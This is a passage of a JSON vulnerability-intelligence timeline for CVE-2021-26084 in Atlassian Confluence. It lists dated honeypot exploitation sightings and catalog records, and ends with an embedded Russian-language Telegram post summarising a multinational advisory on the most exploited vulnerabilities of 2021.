"90cbf288-cdc0-4a6d-9f89-ee1f36b5953c"}, {"timestamp": "2026-05-02T00:00:00Z", "date_only": false, "value": "2026-05-02T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-02)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "76c0ef00-4589-403b-a1be-f6f85da4d00b"}, {"timestamp": "2026-05-03T00:00:00Z", "date_only": false, "value": "2026-05-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "18688177-6a10-4670-83ca-12d528d16670"}, {"timestamp": "2026-05-04T00:00:00Z", "date_only": false, "value": "2026-05-04T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-04)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "fac53995-e798-4f89-9440-7fb6fd5e3140"}, {"timestamp": "2026-05-04T00:00:00Z", "date_only": false, "value": "2026-05-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-04)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0bcfdef4-e93a-41cd-af05-e813bdfbfab8"}, {"timestamp": "2026-05-05T00:00:00Z", "date_only": false, "value": "2026-05-05T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-05)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1527e6ea-6f42-498d-a1b9-82b29f870ff2"}, {"timestamp": "2026-05-05T00:00:00Z", "date_only": false, "value": "2026-05-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-05)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "5863b136-86c7-4185-9c6b-8a800d2363d2"}, {"timestamp": "2026-05-07T00:00:00Z", "date_only": false, "value": "2026-05-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-07)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e4cf71c4-7908-47aa-b65d-3e224ea72969"}, {"timestamp": "2026-05-08T00:00:00Z", "date_only": false, "value": "2026-05-08T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "5bedba81-c07c-4ef8-bdda-a4a6e495d9e1"}, {"timestamp": "2026-05-08T00:00:00Z", "date_only": false, "value": "2026-05-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "837c1b7e-3ee2-432a-8b0d-459d2dc8c254"}, {"timestamp": "2026-05-09T00:00:00Z", "date_only": false, "value": "2026-05-09T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-09)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "dfeb67b1-1607-4796-abde-3ed6debff273"}, {"timestamp": "2026-05-09T00:00:00Z", "date_only": false, "value": "2026-05-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-09)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c8c38114-b0ab-429e-9b65-cb87a4aa702b"}, {"timestamp": "2026-05-10T00:00:00Z", "date_only": false, "value": "2026-05-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f135f04b-5f5c-490a-801b-eccd3f98d8c9"}, {"timestamp": "2026-05-11T00:00:00Z", "date_only": false, "value": "2026-05-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "337fd247-d135-48b1-800a-78f91880cdf0"}, {"timestamp": "2026-05-13T00:00:00Z", "date_only": false, "value": "2026-05-13T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-13)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7cbe4420-c3aa-4538-8942-69fe242804ac"}, {"timestamp": "2026-05-17T00:00:00Z", "date_only": false, "value": "2026-05-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-17)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1539ab85-a021-45d7-999b-8d8f675d3097"}, {"timestamp": "2026-05-19T00:00:00Z", "date_only": false, "value": "2026-05-19T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-19)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7ef08769-d898-4617-8079-fedbaa3b0b77"}, {"timestamp": "2026-05-19T00:00:00Z", "date_only": false, "value": "2026-05-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-19)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "67721ed8-fb2b-4a16-aa8a-b997d4b27473"}, {"timestamp": "2026-05-20T00:00:00Z", "date_only": false, "value": "2026-05-20T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d1e278dd-e375-4502-a8ca-883154c8f0c7"}, {"timestamp": "2026-05-21T00:00:00Z", "date_only": false, "value": "2026-05-21T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-21)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "089984ac-ec9a-4fb2-8e5e-5583d41cd5f1"}, {"timestamp": "2026-05-21T00:00:00Z", "date_only": false, "value": "2026-05-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-21)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b2272779-4045-421e-94bb-edea2987b6b1"}, {"timestamp": "2026-05-23T00:00:00Z", "date_only": false, "value": "2026-05-23T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8a7c946a-aed8-4110-8032-76143768c8c4"}, {"timestamp": "2026-05-24T00:00:00Z", "date_only": false, "value": "2026-05-24T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ed86a7d2-f093-4cd6-ba74-f892642861ae"}, {"timestamp": "2026-05-25T00:00:00Z", "date_only": false, "value": "2026-05-25T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-25)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "01c42dbe-79e4-4f70-b00a-a66fe610ab73"}, {"timestamp": "2026-05-27T00:00:00Z", "date_only": false, "value": "2026-05-27T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "1410c684-675e-4eb8-941e-7b78c2738c0e"}, {"timestamp": "2026-05-27T00:00:00Z", "date_only": false, "value": "2026-05-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "edb322c0-9b5a-4f89-9014-23667995f00b"}, {"timestamp": "2026-05-28T00:00:00Z", "date_only": false, "value": "2026-05-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4c60fbb1-76ec-405c-a9c5-182597efbf9f"}, {"timestamp": "2026-05-28T00:00:00Z", "date_only": false, "value": "2026-05-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0b9b3c89-bef3-4cda-a823-1f82d664d556"}, {"timestamp": "2026-05-29T00:00:00Z", "date_only": false, "value": "2026-05-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b0e5047f-16a8-4c59-8c28-de8526385c2e"}, {"timestamp": "2026-05-30T00:00:00Z", "date_only": false, "value": "2026-05-30T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-30)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "479d98bc-925f-48cf-9fe5-9503a67bbdf4"}, {"timestamp": "2026-05-31T00:00:00Z", "date_only": false, "value": "2026-05-31T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-31)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0de1d57d-9cc5-4486-80f4-fe7c8911cad4"}, {"timestamp": "2026-06-01T00:00:00Z", "date_only": false, "value": "2026-06-01T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f10ba089-cbd8-47b1-824f-2d63c0ef9068"}, {"timestamp": "2026-06-03T00:00:00Z", "date_only": false, "value": "2026-06-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6dcb6377-87d0-41ae-8fff-5f169269d1da"}, {"timestamp": "2026-06-05T00:00:00Z", "date_only": false, "value": "2026-06-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-05)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "74a92b8d-1b7b-4bdf-9d9b-d74af3a3c9eb"}, {"timestamp": "2026-06-11T00:00:00Z", "date_only": false, "value": "2026-06-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "eb3b5956-ee56-416a-9c44-daf3f1cb8884"}, {"timestamp": "2026-06-13T00:00:00Z", "date_only": false, "value": "2026-06-13T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-13)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a96e534f-1a05-4446-8023-cdb991959095"}, {"timestamp": "2026-06-17T03:42:49.750Z", "date_only": false, "value": "2026-06-17T03:42:49.750", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-26084", "record": "FKIE_CVE-2021-26084", "field": "lastModified"}, {"timestamp": "2026-06-19T12:47:57.239Z", "date_only": false, "value": "2026-06-19T12:47:57.239886Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0d7b5dc5-ba12-4fe8-9125-8a722ee4b45e", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "67217700-7adf-491a-a2c3-ee30f861b6e2", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0d7b5dc5-ba12-4fe8-9125-8a722ee4b45e"}, {"timestamp": "2026-06-20T00:00:00Z", "date_only": false, "value": "2026-06-20T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6f4b6d8b-0829-492b-8174-2db2750a38a1"}, {"timestamp": "2026-06-22T00:00:00Z", "date_only": false, "value": "2026-06-22T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "bb8d56cf-28ab-48ff-a84a-b1661cdfd9a6"}, {"timestamp": "2026-06-23T14:02:37Z", "date_only": false, "value": "2026-06-23T14:02:37+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2021-26084", "field": "timestamps.recorded_at", "uuid": "879ce241-1757-46b2-b08b-35b572560a15", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T14:04:46.252Z", "date_only": false, "value": "2026-06-23T14:04:46.252572Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/879ce241-1757-46b2-b08b-35b572560a15", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0f50091b-2623-4b30-ab57-392720302461", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/879ce241-1757-46b2-b08b-35b572560a15"}, {"timestamp": "2026-06-25T10:15:25.541Z", "date_only": false, "value": "2026-06-25T10:15:25.541496Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b59702d6-8d44-4ab2-a33f-3b99272dc718"}, {"timestamp": "2026-06-26T10:15:13.433Z", "date_only": false, "value": "2026-06-26T10:15:13.433824Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-25)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f08dd6ed-1bf7-4a75-ba5e-ba857b3499ab"}, {"timestamp": "2026-06-29T10:00:05.858Z", "date_only": false, "value": "2026-06-29T10:00:05.858310Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "98e45b2d-5ee0-49b9-9855-09c0ea20b0af"}, {"timestamp": "2026-06-30T09:22:37.075Z", "date_only": false, "value": "2026-06-30T09:22:37.075715Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/cc0e2214-e7e0-4c19-af27-4b813a1f7a83", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4d6b2b29-b6c9-4f76-9265-85ce351b6970", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/cc0e2214-e7e0-4c19-af27-4b813a1f7a83"}, {"timestamp": "2026-06-30T10:00:06.061Z", "date_only": false, "value": "2026-06-30T10:00:06.061873Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-06-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "58c22ca7-9b7a-4c25-8788-fea6a9d52ae8"}, {"timestamp": "2026-07-02T10:00:09.400Z", "date_only": false, "value": "2026-07-02T10:00:09.400392Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-01)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e36727b7-b604-4482-b37f-c6c291e957b1"}, {"timestamp": "2026-07-04T10:00:06.860Z", "date_only": false, "value": "2026-07-04T10:00:06.860818Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e85b4b79-a8c6-4d11-8627-96438ff0ef19"}, {"timestamp": "2026-07-09T10:15:10.252Z", "date_only": false, "value": "2026-07-09T10:15:10.252926Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "77374e90-493e-487a-979f-dd3e314c305d"}, {"timestamp": "2026-07-10T10:00:09.879Z", "date_only": false, "value": "2026-07-10T10:00:09.879429Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-09)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "97643b0b-5476-42d1-879e-de5b14540713"}, {"timestamp": "2026-07-12T10:15:05.663Z", "date_only": false, "value": "2026-07-12T10:15:05.663032Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ba799568-626b-4553-a9f0-63c1813d3809"}, {"timestamp": "2026-07-13T10:15:06.996Z", "date_only": false, "value": "2026-07-13T10:15:06.996260Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-12)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "c1b670c8-2a1b-48c2-9562-fd2e3bcec293"}, {"timestamp": "2026-07-17T05:00:05.322Z", "date_only": false, "value": "2026-07-17T05:00:05.322428Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/EchelonEyes/232", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4610ff22-51c7-4b04-bd64-14eb66d51d48", "content": "\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0421\u0428\u0410, \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438, \u041a\u0430\u043d\u0430\u0434\u044b, \u0410\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0438 \u0438 \u041d\u043e\u0432\u043e\u0439 \u0417\u0435\u043b\u0430\u043d\u0434\u0438\u0438 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u0441\u0430\u043c\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0432 2021-\u043c \u0433\u043e\u0434\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\n\u0411\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0449\u0438\u0442\u0435 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0421\u0428\u0410 (CISA). \u041e\u043d \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430c\u043d\u043e\u0441\u0442\u0438 \u0421\u0428\u0410 (CISA, \u0410\u041d\u0411, \u0424\u0411\u0420), \u0410\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0438 (\u0410\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0439\u0441\u043a\u0438\u0439 \u0446\u0435\u043d\u0442\u0440 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 - ACSC), \u041a\u0430\u043d\u0430\u0434\u044b (\u041a\u0430\u043d\u0430\u0434\u0441\u043a\u0438\u0439 \u0446\u0435\u043d\u0442\u0440 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 - CCCS), \u041d\u043e\u0432\u043e\u0439 \u0417\u0435\u043b\u0430\u043d\u0434\u0438\u0438 (\u041d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0446\u0435\u043d\u0442\u0440 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u041d\u043e\u0432\u043e\u0439 \u0417\u0435\u043b\u0430\u043d\u0434\u0438\u0438 - NZ NCSC) \u0438 \u0421\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u041a\u043e\u0440\u043e\u043b\u0435\u0432\u0441\u0442\u0432\u0430 (\u041d\u0430\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0446\u0435\u043d\u0442\u0440 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0421\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u041a\u043e\u0440\u043e\u043b\u0435\u0432\u0441\u0442\u0432\u0430 - NCSC-UK).\n\n\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0434\u0432\u0430 \u0441\u043f\u0438\u0441\u043a\u0430: \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e 15 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:\n1. CVE-2021-44228, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u043a\u0430\u043a Log4Shell. \u041f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 Apache Log4j. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n2. CVE-2021-40539, \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 Zoho ManageEngine AD SelfService Plus. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n3 \u2013 5. CVE-2021-34523, CVE-2021-34473, CVE-2021-31207, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u043a\u0430\u043a ProxyShell. \u041f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 Microsoft Exchange Server \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n6 \u2013 9. CVE-2021-27065, CVE-2021-26858, CVE-2021-26857, CVE-2021-26855, \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u043a\u0430\u043a ProxyLogon. \u041f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 Microsoft Exchange Server. \u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n10. CVE-2021-26084, \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 Atlassian Confluence Server and Data Center. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n11. CVE-2021-21972, \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 VMware vSphere Client. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n12. CVE-2020-1472, \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 Microsoft Netlogon Remote Protocol (MS-NRPC). \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n13. CVE-2020-0688, \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 Microsoft Exchange Server. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n14. CVE-2019-11510, \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 Pulse Secure Pulse Connect Secure. \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432.\n15. CVE-2018-13379, \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 Fortinet FortiOS and FortiProxy. \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432.\n\n\u0415\u0449\u0435 15 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Sitecore XP, ForgeRock OpenAM server, Accellion FTA, SonicWall Secure Mobile Access (SMA), VMware vCenter Server, Checkbox Survey, QNAP QTS and QuTS hero, Cisco IOS Software and IOS XE Software, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0440\u044f\u0434\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0438 \u0441\u043b\u0443\u0436\u0431 Microsoft Windows. \n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c 